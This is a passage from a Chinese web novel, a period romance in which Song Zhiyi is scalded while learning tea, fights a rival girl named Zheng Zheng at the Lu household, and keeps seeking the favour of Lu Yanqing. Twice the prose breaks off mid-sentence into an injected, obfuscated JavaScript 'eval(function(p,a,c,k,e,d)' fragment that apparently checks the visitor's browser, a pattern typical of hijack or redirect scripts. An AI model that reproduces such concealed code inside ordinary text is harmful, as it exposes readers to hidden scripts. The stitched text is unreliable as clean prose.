看她放着现成的帕子不使，反而用起了袖子，陆晏清有点不解，一壁接春来带来的药瓶于手心，检查是否拿对了，一壁说：“既有帕子，为何不用它，却污了衣裳？”查看无误，又转手向春来，由春来交于芒岁。 烫伤后的委屈劲儿渐渐平复，宋知意咧嘴笑开：“你给的东西，我舍不得弄脏了。” 陆晏清神色有些无奈：“那你的衣服就舍得脏了去？” 宋知意轻飘飘道：“衣服嘛，我家里多得是，脏就脏了，不值什么。可这方帕子，是陆二哥哥你的，我手里只这么一个……自然得珍惜。” 陆晏清无法回应，干脆偏离视线，揭过这茬儿：“一天搽三次，切忌沾水。” 淡淡嘱咐时，他不动声色地掠了眼她握在掌中的素帕——怎么着是贴身之物，既然她不使，那还是讨要回来为妥，然她才刚对其视若珍宝的话语萦绕心头，他想，倘然张了那个口，必然又是一场麻烦；他最怕麻烦，勉强说服自己，打消了伸手要的念想，回归了客气疏离的样貌，说：“好了，天色晚了，宋姑娘早些回吧。” 言尽，叫上春来走了。 天暖天长，回家时宋平仍在衙门办公。 芒岁顺道唤上家里的医师去屋子里替宋知意细细诊断过，又给看了看陆晏清给拿的金疮药。医师回说药是上好的，针对姑娘的烫伤有奇效，按时按点涂抹，那燎泡三四天就消下去了；后开了祛疤痕促生长的药膏子，叮嘱过用量，挎起药箱退离。 晚上宋平到家，听下人说姑娘伤了，急得不得了，官服也顾不迭脱，沿路小跑去了宋知意住处，却见她趴在方桌上，手里端着块手帕傻笑呢。宋平依着芒岁轻轻拉开的凳子坐下，问：“怎么搞的，手给烫了？” 身边几时凑过个人来，宋知意浑然未觉，吓了一跳，扭头抱怨道：“爹，你走路怎么没声儿呢？这也罢了，好歹先打个招呼呀。” 宋平连连叹息：“你这丫头，脑袋真不如你爹我灵光，这么大人了，居然把手糟蹋成这样。真不知放你去陆家是对是错了。” 听他口风，宋知意担心他不准自己去陆家了，急忙说：“我是以前没接触过烹茶点茶什么的，手生，不小心的，再多试几次，就熟悉了。我很聪明的！爹，你不要危言耸听好不好！” 宋平人到中年，身材走了样儿，人胖了，行走坐卧吃力些，这不刚刚焦心女儿的情况，跑了几步，眼前满头大汗。 宋知意看在眼里，问芒岁要了汗巾子，拿好的一只手替准备替他擦汗，脸上挂着狗腿子似的笑容：“我保证，没有下次了。爹，你别多心了。”说着往桌上陆晏清那块叠得方方正正的手帕子努嘴，“爹，你猜猜，它是谁的？” 宋平哪里舍得让她受累，自个儿捉着汗巾子，一面擦，一面稀松平常道：“不是你自己的，还能是谁的？” 芒岁在旁按捺不住，抢着答了：“是小陆大人的，”紧着晃了晃手里的白瓷药瓶，“连这个也是呢！” 宋知意回头嗔道：“属你嘴快。” 闻得和陆晏清挂钩，宋平可来了兴致，搁下汗巾子，眼珠子左右一转，点头笑道：“果然是陆二公子的，那可好起来了。” 今日陆晏清的关怀，扫清了胸中阴霾，今天意外的痛楚，连同前几天撞见他和崔璎的夜谈后的不快，宋知意通通抛在脑后，睡了个踏实觉。 次日唤醒她的，并非窗外耀眼的红日，也非外面下人干活时的互相低语，恰恰是一阵敲窗户的动静，紧接着钻进个烦人的人声：“宋如意，太阳晒屁股了，赶紧起来梳头洗脸，好给我开门。” 意识迷迷糊糊，宋知意不愿理会，捏着被子转身向床里侧。 没一会外面又喋喋不休：“喂，你再赖床，我可进去了？” 宋知意没搞明白外头啰嗦的是谁，光知道是个男的，他吵嚷着要硬闯，自己的睡相不就被看完了？荒唐！ 她一个激灵，搂着被子坐起来，揉揉惺忪睡眼，看真切窗外背对立着一个玛瑙色影子，猿臂狼腰，相当眼熟——不是薛景珩又是谁！ 宋知意仓促扯下外衫披上身，趿着鞋子移去窗前，敲敲窗上明晃晃的大玻璃：“薛云驰，你不是不理我了吗？你怎么又来了？” 猜着她衣衫不整，薛景珩避着嫌，以背影示她，说：“我可没你那么小心眼爱记仇，因为吵了两句，这好几天连个音信都没有。” 宋知意驳他：“我小心眼爱记仇？是谁突然拉着个 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薛景珩急了，撂下茶杯。那茶杯是她从宋平那夺来的，她格外珍视，回头拧眉提醒：“你轻拿轻放，仔细碰坏了。” “坏了我一模一样赔你十个。”薛景珩摊手，起立追过来，“那些是我特地为你精挑细选的，你推三阻四，敢情是不拿我当朋友了？” 宋知意搬开圆凳，一边身子靠梳妆台，斜坐下来。“那些珠宝太贵重了，我若照单全收，万一你母亲觉得吃了亏，派人上我们家来理论怎么办？我可吃不消。不如一开始就干干净净，不惹这个乱子。” 因了解薛景珩的个性，知他有一大堆说辞，她先发制人道：“我这手阵阵作痛，牵连得头也痛。小少爷，拜托你念在我害病的份上，依着我，别跟我顶嘴了，成不？” 薛景珩这才留意到她发面馒头似的左手，略定了一定，叫文进至眼皮子底下，说：“回家跟大嫂各要一瓶疮口药和祛疤药，骑我的马去，快着点。” 不容插话，文进已领命，一阵风似的去了。 文进办事靠谱，不多时怀揣两种药回来复命。 彼时宋知意已表明自己有对应的药，是陆晏清给予的，薛景珩却明着较劲，叫她留下药，那堆饰品也得留下，否则就是辜负打小的友情。不想戴上一顶无情无义的帽子，她没再推辞。 家里有个病人，宋平时时惦念着，向衙门里说定近段日子午饭都回家解决。他顶头上司怜他孤女寡父的不容易，允他迟到早退。宋平自感激不尽。 待宋平赶回，薛景珩尚未告辞，正好，宋平挽留他吃顿午饭，薛景珩欣然应承。 自此，薛宋两人握手言和。 饭后，宋知意犯懒，回屋休息；宋平应酬着送薛景珩出门，笑吟吟看他骑上大马，挥手送别。 马背上，薛景珩因午时吃了两杯果酒，面色微红。文进恐他脑子不清楚，不敢由他纵马，牵着缰绳在底下慢慢行走，一会儿瞄一眼马上，一会儿抿一抿嘴巴，藏不住地纠结。 文进五岁就跟着服侍自己，薛景珩对他了如指掌，立时发问：“是不是母亲又针对我发什么话了？” 文进犹豫片刻，点头老实道：“少爷吃饭时，家里来了人，说夫人急等少爷回家，有大事商量。” “大事？”薛景珩嗤笑道，“母亲真是三天一件小事，五天一件大事。” 言下，趁文进不备，抢夺缰绳，夹紧马腹，吆喝一声，扬尘而去，急得文进拔腿紧追慢赶。 5. 当众打人 静心休养了四五日，宋知意等不及，收拾随身用品，隔天早上挽着芒岁，准时抵达陆府。 一起听学的其他四个人也陆续乘车到场，见她今儿过来，相互交换过眼色，其中礼部侍郎郑家的二姑娘郑筝带头问候：“呦，宋妹妹这是大好了？” 宋知意不冷不热道：“没好的话，我过来做什么呢？” 郑筝嗤笑道：“妹妹说话干什么夹枪带棒的？大家一块受教的情分，我们好心好意问问你，你这般没礼数，没得叫人笑话呢。” 其余几个如雨后春笋，纷纷冒出来应和。 这几个人和崔璎要好，都是一伙的，厌恶她，她心知肚明。眼下快到上课的时辰了，她懒得跟她们费口舌，撇下她们，叫上芒岁进了角门。 郑筝气得脸皮蜡黄，跺脚咬牙切齿道：“好个没教养的东西！” 几个跟班围上来，七嘴八舌宽慰，各人的意思差不多，大概是郑筝是什么家世，何必与一个暴发户的女儿一般见识，倒低了自己的身份。 听着众人追捧，郑筝心里舒服多了，挺直腰杆，端正头颅，从开着的西角门去向西院。 众人各自就位。何嬷嬷扫视一圈，见人齐全，便说起今天的安排，令她们五个练习点茶，令宋知意继续学习烹茶。 落后别人一大截，那也是无可奈何之事，宋知意只好加倍用心努力，尽量尽快追上进度。 午时，依照惯例，大家有序离开用膳。宋知意本想回自家用饭，无意间听见前面郑筝和崔璎搭话。 “昨晚听我父亲说，你表兄手伤到了，不要紧吧？”郑筝问。 “是手心被人用刀子割了一下，旁的没什么，就是影响握笔写字。”崔璎答。 “伤得不重，那就好。”郑筝松了口气，拍拍胸口道。 陆二哥哥受伤了？宋知意加快步伐，赶上她俩人，直言道：“陆二哥哥怎么受的伤？又是谁伤的他？” 郑筝暗暗翻个白眼，道：“告诉你又怎么样，难不成你还打算找到那人，给小陆大人报仇？我说，与其到处打听，你不如聪明些，多看多学，再别有泡个茶还不慎把杯子翻了，烫自己满手背燎泡的事。” 崔璎在侧闻听，暗自发笑，对外则不显山不露水，依旧扮演好和事佬的角色，出面打圆场：“宋姐姐也是担心表兄。宋姐姐，表兄是因公伤的，究竟是什么人下的手，表兄没提，我们也没头绪。” 和崔璎中间夹着郑筝，讲起话来不方便，是以宋知意绕到崔璎右手边，追问：“那陆二哥哥今儿可在家吗？”她想亲自瞧一瞧他的状况。 郑筝笑了：“宋知意，你脑子没糊涂吧？就算小陆大人在家，你一个外女，莫非想闯人屋子里问东问西？你懂不懂避讳，知不知羞耻？” 宋知意嘴且没来得及张，郑筝又拿话堵上来：“我这也是白问，你如果明明白白的，这几年也不能倒贴到满城风雨的地步。真是的，和一个暴发户养出来的拉扯个什么。” 背地里她们如何唾弃，她管不着，可把难听话摆设到她面前来，还连着她爹一并羞辱，她断然不让，大跨一步，直逼郑筝，冷然道：“说了些什么，再说一遍。” 瞅她黑炭似的颜色，郑筝感觉到了强烈的挑衅——区区一个五品官的女儿，哪里来的胆子跳到自己眼前耍威风！郑筝站住脚，化怒气为轻蔑：“我说你小门小户出身，和你爹一样，没有教养，恬不知耻，看见高枝就想往上攀，很是没有自知之明。” “说完了？”看不见的地方，宋知意攥紧了拳头。 郑筝扬起下巴，道：“说完了，又如何？” 宋知意了然点头：“你说完了，那就轮到我了。” 旋即，于郑筝的轻视，及围观者好奇的注视下，举起胳膊，直伸至郑筝的衣领前，一把揪住。“啪！”清脆的一巴掌抽上郑筝的右脸。 所有人大为惊愕，不约而同倒吸一口凉气。 芒岁醒过来，急上前劝阻，却遭宋知意无视，反而对半捂着脸呆怔的郑筝说：“骂我，骂我爹，打你一耳光算轻的。再叫我听见一次，我保证你肿成猪头，十天半个月出不了门，见不了人。你若不信，就来试试。” 她已经不是多年前那个随便旁人议论耻笑的小孩子了。谁敢侮辱宋家，她就揍到那个人哭爹喊娘求饶为止。 崔璎找回理智，忙去查看郑筝怎样，孰料猝不及防被推开，而郑筝疯了似的，抓着宋知意，两人扭打作一团，一个扯衣裳，另一个拽头发，期间叫骂不停，可谓乌烟瘴气。 众人都来拉架，可惜俩人跟两头牛一样，一个赛一个力气大，如何也拉不开。崔璎怕她俩打急了，闹出更大的乱子，命令绘柳速去找帮手。绘柳领着差事，飞奔而去。 没多会，何嬷嬷、周氏、陆夫人闻讯赶来。何嬷嬷大喝一声“住手”，宋、郑二人听在耳里，各自停手分开。 结果，宋知意的原有烫伤的手背给挠破了，上面赫然几条血印子，郑筝也没捞着便宜，精心挽的发髻歪歪斜斜，半边头发倾泻在肩上，宋知意的手心还捏着她一绺发丝——各有各的狼狈不堪。 双方的婢女围着主子问这问那之余，从头到脚，一寸寸检查伤情。 周氏心向宋知意，移步去她身旁，低声叹道：“好端端的，怎么打起来了？” 崔璎则贴近郑筝，举手为她拢了拢头发，表示关切：“郑姐姐，你感觉怎样，要不要紧？” 何嬷嬷本就严肃的脸添上一层厚厚的阴霾。她来头不小，陆夫人且敬她三分，不尴不尬道：“真是令嬷嬷见笑了。”随后板着脸孔，转向招惹出这场风波的两个元凶的婢女，“你们先扶你们姑娘去那厢房里整理整理，等等你们家里来接。” 一语了却，陆夫人叫大家都散了，该干什么干什么去；害怕那两个又有劲儿寻衅滋事，因特别放自己房里的大丫鬟丁香原地看守。 周氏操心宋知意，提出一块留下来，陆夫人点头称善。后和何嬷嬷一道离开。 丁香做主，开了东西厢房的门，请她们分别进入。郑筝直奔东厢房，气昂昂走到一半，满怀不服气，扭回头恶狠狠道：“宋知意，你别得意，等我母亲过来，才是要好好教训你呢！” 宋知意全然不把她的恐吓当个事，讥笑道：“好啊，我等着看你们的能耐。” “你放狠话我来接招”的一个回合结束，两人不欢而散。 西厢房里，周氏捧起宋知意的左手，吹了吹，语重心长道：“宋妹妹，你也忒冲动了，看看这手弄的，哪还有过去细皮嫩肉的样儿？” 宋知意振振有词：“她骂我爹，我忍不了，就得和她拼命。再者，她比我惨，头顶秃了一块，难看着呢。” 周氏给逗笑了：“你还真心大。得了，快想想一阵儿你家里大人过来，怎么应付吧！” 宋知意轻松道：“我爹总归是理解我的。” 周氏道：“是，你爹宠你，这是尽人皆知的。我是指郑家，不是善茬儿。” 郑筝的父亲以口蜜腹剑闻名朝野；她母亲虽有个不错的出身，却被家里惯坏了，对人颐指气使，一副市井泼妇做派，小到家里的仆人，大到她娘家的亲人，无人敢不从着她。 宋知意这点子狂妄劲儿，较郑母可差远了。故此，周氏才出此言。 宋知意冷笑道：“再不是善茬儿，不也得讲个道理？明明是郑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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郑夫人原揪着不放过，是宋平堆笑给赔了不是，态度恳切地承认是他疏于管教，日后必当严加看管，郑夫人方才罢休。 出来的回廊下，闷头撞着一个人，宋知意正憋屈着，不想管，对面却开口了：“是你打了人，你倒是又哭上了。” 是陆晏清。 她慌忙抬头，仰见他锁眉抿嘴；如是表现的他，太眼熟了——他在怪她。 “……别人骂我，骂我家里人，难道要我忍气吞声吗？”宋知意咄咄逼问。 “那是你们的事，不是我的事，也不是陆家的事。”陆晏清漠然道，“你们起冲突，非打架不可解决的话，可以在你家，也可以在她家，更可以在街头巷尾——陆家，并非你们出气撒火，比谁任性刁蛮的地方。” 刁蛮？他居然说她刁蛮？ “连你也怨我？” 于此，陆晏清不置可否。 他无意探究今日她们谁对谁错，他单纯是怕麻烦，而她们在陆家大打出手的行为，恰好给他添了麻烦：何嬷嬷为此十分不快，陆夫人无奈做出劝退宋、郑的决定，以防她们再次挑事；周氏一心一意助着宋，反复为其求情，荒谬的是，竟把他搬了出来，要听他的意见。 闺阁中的事，同他有什么干系？ 周氏既提出来，他正好在家养伤，不好推诿，则有了当前遇上宋知意且漠不关心的一幕。 前面一个麻烦等着，倘若再言语纠缠下去，搞不好又增加一个麻烦。思虑清楚，陆晏清便不理宋知意，举步而去。 一个个不分青红皂白，错怪自己，宋知意伤透了心，挥洒泪水，含怨赌气转头跑远了。 6. 街头偶遇 气冲冲回了家，宋知意锁门闭户。宋平随后回来，径直去她住处，怎么叫门也不开，更听她在里头吼叫：“我是个罪人，不值得你们费心思，你走，快走！” 宋平没辙，立在门口低三下四地哄：“哎呀呀，是爹错了，刚刚不该凶你。爹知错了，你先开开门，爹给你好好道歉，行不？” 宋知意处气头上，充耳不闻，不断重述撵人走的话。宋平劝得口干舌燥，终究撑不住，叮嘱仆人照看好姑娘，自己暂时撤走，寻思等天黑了再来一趟，小孩家家，气性来得快去得快，到那会八成心平气和了。 掌灯时分，宋平吩咐摆晚饭，他则亲去白日吃了闭门羹的地方，结果不尽如人意，宋知意仍然存着怨气，不肯见人。 望着黑漆漆的屋子，宋平焦头烂额，直挠鬓发。一筹莫展、长吁短叹时，迎来了转机——薛景珩不知几时从身后踱了出来。宋平两眼放光，惊喜不已：“薛小少爷过来，怎么不提前打个招呼？有失远迎，有失远迎。” 薛景珩淡淡道：“这不听说她挨了欺负，想着她心情指定不好，凑巧今儿晚上北街上有个马戏团表演，她没看过，便领她去见识一番；看尽兴了，那些郁闷的事自然就忘了。” 宋平欣喜得直拍手同意：“我正发愁呢，多亏小少爷过来。那丫头在里头生闷气，死活不理我，换成小少爷去叫门，她一准打开。” 瞥了瞥那黑洞般的屋子，薛景珩自信一笑，笃定道：“宋叔放宽心，交给我就完了。” 薛景珩走近房门，拍了两下，说：“你若是个有出息的，就开门出来。反之，我也不管你，你爱怎么样怎么样。” 他对她的性格了如指掌，她这人吃硬不吃软，激将法最好使。 不出所料，话刚落，门就敞开来，宋知意站在月光下，容颜被光束勾勒得凄清。“说谁没出息呢？” 宋平堆笑上来，不及开口说话，宋知意冷冰冰道：“我这小地方，容不下您这尊大佛。请您老哪里来的，回哪里吧。” 她倘然一哭二闹三上吊，这且没动真格，假如阴阳怪气起来，真真儿是记上仇了。 薛景珩解围：“宋叔，你先忙你的，至于宋如意，我跟她谈。” 不依着他还有什么法子，宋平点头应下，给他俩腾地方。 宋知意要关门，薛景珩眼疾身快，抓着门框挤了进来。她撇撇嘴，没言语，转而命人点灯。 不一会，昏昏灯影下，宋知意低头坐着，薛景珩在她对过一步远站着。 “今天的事，我全听说了。”他说，“你挨了欺负，你跟我说啊，我给你出气，干嘛一个人躲屋子里憋气？” 她抠着手指甲，说：“告你也没用。” “你小瞧我？”他嗤笑出声，“我是不和女孩子动手，可郑筝不有个亲哥哥么，天天在扎在公子哥儿里厮混。哦，他还欠我些钱呢。” 抠手的动作一顿，宋知意举目，正对上他戏谑的目光：“他欠你钱？你去赌坊赌钱了？” 薛景珩爱玩，是酒楼赌坊的常客，不过他有底线，不该碰的绝不碰。 薛景珩握拳抵于唇际轻咳一声，游走到旁边的交椅前，含糊其辞：“几个月前的事了，也没玩多少，都是小钱。” “你家里不是严禁你乱跑乱玩的吗？你又搞那乱七八糟的。哼，迟早露馅。”某种意义上，薛景珩此行的目的提前成功了，她目前的注意力悉数转移到了他又去赌钱上头，没多的心机忧郁伤怀。 薛景珩讪笑着：“那都多久的事了，要发现，他们早发现了。”然后把身子往她跟前凑凑，眉峰一扬，“横竖郑辉是欠我钱，数额挺大的，他不敢被他家里知道。你实在气不过，我就在这上头做一做文章，整一整他，也叫郑家鸡飞狗跳一回。我这主意，你觉得好不好？” 宋知意半信半疑道：“他该你多少钱？” 薛景珩掐指一算，比出两根指头在她眼前一晃。她吃惊表示：“两千？！” 薛景珩肯定道：“不错。这只是本金，他借走几个月的利息，我还没算呢。” “他玩多大呀，足足赊出两千多的账？” 薛景珩回避道：“那里头的门道深了去了，不是你该打听的。总之，你一句话，白天的仇，报还是不报？” 这一瞬间，脑海里划过今日宋平在陆家下气怡声的画面。郑家人不是好东西，可郑家三品官的头衔是货真价实的，宋家只是五品，偌大京城，五品官遍地走，果真报复回去，岂不是令她爹在朝里难堪？ 宋知意犹豫不决。 “郑辉是该我的债，我问他讨，天经地义。退一万步，郑家若觉得脸上无光，尽管来和我掰扯，与你没干系。”瞧出她的顾虑，薛景珩言之凿凿道，“我只认你的话：你说咽不下那口气，我就追究到底；你说不愿意，我姑且网开一面，放他一马。” 宋知意有所动摇，乜斜他：“你果然顶得住郑家人的恼羞成怒，我举双手赞成。” “小爷我一人做事一人当，你只管好吃好喝看好戏。”薛景珩口吻轻快，分毫不把所谓郑家放眼里。 解决完这档子麻烦，他站起来，言归正传：“街上有马戏团表演，走，跟我出去热闹热闹。” 宋知意坐着不动弹：“没兴趣，而且我还没吃饭呢。” 薛景珩盯准她随意搭在椅子扶手上好的那条胳膊，拉在手心，使出一成的力气，拽她离座，步步向外。“街上一个接一个的酒楼，还能饿着你？走就完了。” 宋知意：“我这一头乱糟糟的，总得容我打理一下啊！” 薛景珩让芒岁抱上她的妆奁，从容说明可以上了马车再打扮，马车里宽敞，漫说一个婢女伺候她梳妆，便是再来三个，也绰绰有余。 街头，人山人海，人头攒动。 薛景珩自然牵着她的手，拨开人群，跻身最前排，却见一个人正指引一只猴子做各种高难度动作。她固然初次见，却无甚兴致，倒不如纵目环顾四周形形色色之人来得有意思。谁知这一扫视，正正好在对面打量着两个熟面孔——绘柳及她头戴帷帽的主子，崔璎；二人目不转睛观看着杂耍，时不时指指点点、掩嘴嬉笑。 宋知意厌恨崔璎惺惺作态的样子，将脸一别，嗤之以鼻：“哪哪都有她，真晦气。” 周遭人声鼎沸，而薛景珩专注于她身上，一字不差把她的话语收入耳，视线飞快转了一圈，看见了对侧的两个熟人，心下一动，拖着她离开人潮，边走边说：“看你无精打采的，准是给饿的。先找个酒楼吃饱，再出来逛吧。” 宋知意没意见。总好 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耐心听完，陆晏清好似不经意往她那儿看了眼。只一眼，她诚挚、委屈、倔强等种种情绪交织的面容无比清晰，这令他略感烦躁。可是区区一丁点的躁动，他居然没克制住，于语气里漏了出来：“孰是孰非，你不必与我解释。我还有事，先行一步。” 末了抬腿就走，宋知意又追上拦下，急切道：“不，我得解释，我不能让你一直误会我！” 陆晏清闭了闭眼，重复道：“宋姑娘，我说过了，不必解释。”然后绕开她，预备离开这个是非之地。 “陆二哥哥……”她心怀不甘，再次挡住他去路，乃至抓上了他的袖子，“我平时是不文静不乖巧，可我也是原则的，人不冒犯我，我绝对不会冒犯人。千真万确的就是郑筝侮辱我……你相信我，行吗？” 陆晏清动一动胳膊，尝试摆脱她，但她攥得越紧。他终于肯正视她，眼见她抿着嘴唇，泫然欲泣，心里没来由又翻起一阵焦躁。“……我信。可以放手了么？” 宋知意转悲为喜，整个人的气质立即积极向上起来：“真的？陆二哥哥你真的相信是郑筝的错？” “嗯。” “那……”突然，被晾在一边的薛景珩窜出来，捉着她的手腕子，不耐烦全然溢出来：“叙够了没？我快饿扁了，可以去吃饭了吧？” 宋知意忙拍他覆在自己皮肤上的手，连带着使眼色，意思是关键时候别添乱。 薛景珩看得分明，偏不如她意，又对陆晏清说：“陆大人，你不是还有事在身吗？不要耽误了才好。” 陆晏清面无波澜，颔首示意，渐行渐远。 来之不易的相处，就这么被搅黄了，宋知意气急败坏道：“薛云驰，你明明看见我在那挤眉弄眼，你干嘛硬出这个风头？你是故意跟我过不去吧！” 反正已经把陆晏清打发走了，薛景珩有恃无恐，嬉皮笑脸道：“我爱出风头，也不是一天两天了，你最了解的啊。”接着带她向前方的酒楼走，“我饿得前胸贴后背了，等我吃饱喝足，你想怎么出气，我发誓打不还手骂不还口。这总行了吧？” 宋知意不见外，立马踩了他一脚，丢下他进了酒楼。 7. 殷勤送药 翌日，芒岁叫醒宋知意，脸上洋溢着喜悦：“刚才陆家大少夫人打发金香过来，传话说姑娘什么时候好利索了，什么时候依然去陆家上课吧。” 消化了阵儿，宋知意猛然弹起来，左顾右盼道：“是谁来了，你给我叫进来，我问问清楚了。” 芒岁回：“姑娘有哪里不明白的，问我就是了，我都跟人打探完了。” 于是宋知意接连抛出疑问：“不是说不让我去了，怎么又改主意了？” “据说……是陆大少夫人在跟前劝了，还把小陆大人请了去说情，何嬷嬷不好拂小陆大人的颜面，就不予追究了。” “啊？”陆晏清出现在这门子事情中，委实超出了认知，宋知意面露呆色，“陆大嫂嫂说动了陆二哥哥给我求情？是你听错了，还是我发梦了？” 她经常黏着陆晏清叽叽喳喳不假，可他对她是何种态度，她心里有数——他能偶尔回应她的话已然是给面子，安会出面掺和那事？ 芒岁相当确定：“我也是惊讶，但金香的的确确是这么说的。就是小陆大人向何嬷嬷提议，说姑娘因为上课而受了伤，必然十分认真刻苦，不妨宽恕一次，继续留姑娘学习，何嬷嬷才不计较了。” 其实，当日扔下宋知意走了后，陆晏清有那么一点懊悔的意味——懊悔话是否过于重了。在此种心境的影响下，他过问春来那场闹剧的前因后果，得知确实是郑筝轻蔑在先；自己果然不分青红皂白，冤枉了她。他开始有些愧疚，便去了众人面前，替她挽留继续在陆家学习的机会。 过后春来不解，表示他就顺应自然，任她离了陆家，岂不是眼不见心不烦，何必出那个头。他泰然自若道：“一码归一码。那件事，错不全在她，自然没有道理都由她承担。” 当他为她说话之前，崔璎快一步，挽着郑筝在大家眼下哭得梨花带雨，多番表示不想半途而废，并保证下不为例，以后定然安分守己。非和一个小姑娘较真，不是何嬷嬷的做派，遂以“知错能改，善莫大焉”的心态接纳了郑筝。 陆晏清想，纷争由郑筝挑起，她且能留下，那么宋知意又有何不可？ 至于昨日宋知意执意问他信不信她那会，他始终一副事不关己的样子的原因，一方面是觉得事情已经解决，没必要纠结下去；另一方面是怕一旦理了她，她又不长记性，时时磨着自己——甚为聒噪，索性一冷到底，不曾想最后还是在她毫不疲软的缠闹中，败下阵来。 宋知意沉浸于猝不及防的欢愉中，久久不能释然，而芒岁接下来的话，犹如一盆冰水，兜头浇下来，迫使她六神归位：“可惜那个郑二姑娘也留了下来。怎么不把她弄走，还容她胡说八道、胡作非为吗？真是猜不透陆家人脑袋里装的什么，上赶着寻不痛快。” 宋知意面色骤然变得黑沉沉的：“不消思忖我也省得，郑筝能平平和和地继续待在陆家，崔璎一定为她忙前忙后，出了不少力。陆家人疼崔璎疼得和什么东海明珠一样，她柔柔弱弱一张口，他们保准顺她应她。” 芒岁少不得一通安慰。 “罢了。谅郑筝也不敢再口出狂言了，一块学就一块学吧。”宋知意看得开，迅速把自己哄好，起床梳头洗脸。 宋平今儿休沐，宋知意心里松快，主动去了前厅和他吃早饭，喜得他笑逐颜开，殷勤不已，又是给盛汤，又是给舀饭的。 心安理得享受着亲爹的照料之余，宋知意欣然通知：“陆大嫂嫂给我带信儿了，要我接着去陆家。我打算明一早就过去。” 宋平略微斟酌，笑道：“那是好事。” 宋知意反问：“你不问我郑筝是不是也回去吗？” “别人如何，我不在乎。”宋平一本正经道，“我只嘱咐你，专心学自己的，那些风言风语，左耳朵进右耳朵出就是了，千万不要再为我争执什么。保护好自己，才是要紧的。” 宋知意仍存着不服，皱眉道：“爹，你好赖是工部郎中，在工部排得上号的，干嘛老是想着息事宁人？爹，你活得有点底气好不好？” 宋平一肚子的辛酸，她一个娇小姐哪里晓得，而且他也不舍得跟她提——她过平顺日子就够了，外面的风风雨雨，他这个当爹的庇护得起。 宋平又摆出笑眯眯的样儿，转移话题：“来，快尝尝这包子，是你最爱吃的鸡蛋韭菜馅儿的。” 见说不通，宋知意放弃了。掰开包子送入口，果然香。 当天下午，文进匆忙到访，说是薛景珩现在金运坊等她看一出好戏，专门叫文进驾车送她过去。她霎时了然：指定是郑辉那事。 至金运坊外，已然站了一圈的人，人群里传出怒骂—— 一个中年男人扯着雄浑的声音道：“你这畜生，都干了些什么事！” 另一个年轻的颤抖的男声接口：“爹、爹……求你让我回家再盘问吧，这太丢人了……” 中年男人暴喝：“到现在了你知道丢人现眼了？晚了！” 这会宋知意站到远处典当行的台阶上，临高望远，见那中年男人管小厮手里夺来一根指头粗细的皮鞭子，照着抱头蹲在地上的郑辉一顿抽打，边抽边骂：“你个败家玩意儿！我今日不打死你，我对不起祠堂里列祖列宗的牌位！” 郑辉抱头鼠窜，却被他爹挥舞的鞭子精准逮住。他爹恼怒不已，下了狠手，直接一鞭子把人抽得趔趄在地。 郑辉躺在地上嗷嗷叫唤。郑父气得手发颤，眼睛发黑，握不稳鞭子，踉跄两步，幸而小厮及时扶住。 郑父定了定，指着郑辉说：“你，给我起来，滚回去。从今天起，禁止踏出家门半步，若是让我发现你不老实……我便是断子绝孙，也要打死你！” 立有小厮去搀扶郑辉。 “不准帮他，叫这混账东西自己爬起来走回去！”郑父厉声喝止。之后甩开长鞭，冷脸命令诸随从跟自己回府，仅剩郑辉屈腿窝在原地哀嚎。 郑父一走，围观者觉得没趣，自觉散了。 那头宋知意观看得目瞪口呆，既感慨郑父竟然舍得对郑辉下此狠手，也疑惑薛景珩在这之间扮演了什么角色。 漫漫思量间，肩膀给人拍了一下，一回头，恰恰是笑得玩世不恭的薛景珩。他直白发问：“这场面，够不够精彩？够不够解气？” 宋知意点头称：“是够震撼的。哎？话说两千两固然不是个小数目，可以郑家的情况，不至于闹到当街拿鞭子抽人的份上吧……你究竟怎么挑拨的？” 薛景珩但笑，并不回复，转过脸交代文进去给惨叫痛哭的郑辉送副拐杖，助其支撑伤痕累累的身躯，顺利走回郑家。 文进依言，从马车顶上取下拐杖，近郑辉跟前，施以援手。 借着文进帮扶，郑辉勉强站起来，脸皮因浑身的疼痛而扭曲狰狞。 “我可没挑拨，单就是派人拿着欠条去了郑家，结果你猜怎么着？”薛景珩自然地把胳膊肘放上她的肩，满面怡然。 “我要能猜着，还问你？”她好生嫌弃，侧迈开一步，躲开他勾肩搭背的动作。 薛景珩吃吃一笑，两手背到身后：“结果，郑家门前已经堵了多多少少的债主了。那小子，足足打了上万两的饥荒，光利钱就够压死他了。他爹能不动气么？不往死里打他，我都看不过眼。” 宋知意简直匪夷所思：“他是不分昼夜、不吃不喝地赌钱，不然也背不上这么大的债吧！” 薛景珩：“玩到那等程度，没救了。” 宋知意心生警觉，扭头直视他云淡风轻的侧脸：“我说你，你好好记着他今日的下场，引以为戒，趁早改了你那贪玩寻欢的臭毛病。万一哪天你重蹈他的覆辙，被你母亲公然痛揍，我可不管你。” 薛景珩笑得更深了：“我是哪种人，怎么能和他相提并论？你放心好了，我绝对不会和你分道扬镳的。” 这会儿，郑辉按着拐，一瘸一拐过来，狠狠瞪向薛景珩，咬牙切齿道：“不就是几千银子，你至于要账要到我家门口？姓薛的，我记着今天的耻辱，你给我等着！” 薛景珩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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反应过来他在关心自己，宋知意心里登时乐开了花儿，热风吹过抓痕累累的手背，也不觉着痛了，尽管笑嘻嘻道：“陆二哥哥，我没事的。”说着上下左右挥动几下手臂，“你看，我一点儿都不疼了。” 陆晏清颇为无奈，颔首不语，眼光仍然于她身上停留，仿佛在等待她有无其他话说。 宋知意顿悟，顺杆往上爬，试探道：“陆二哥哥可以告诉我，是谁划破你的手的吗？” 陆晏清：“是公事，不便相告。” 她学着崔璎的懂事，点点头不多问。 俯下的视野中，小姑娘微微垂首，纤长浓密的睫毛扑闪着。脑子里忽然冒出一个疑问，陆晏清也顺势而为，问出口：“宋姑娘来得如此早，就是为了给我送药吗？” 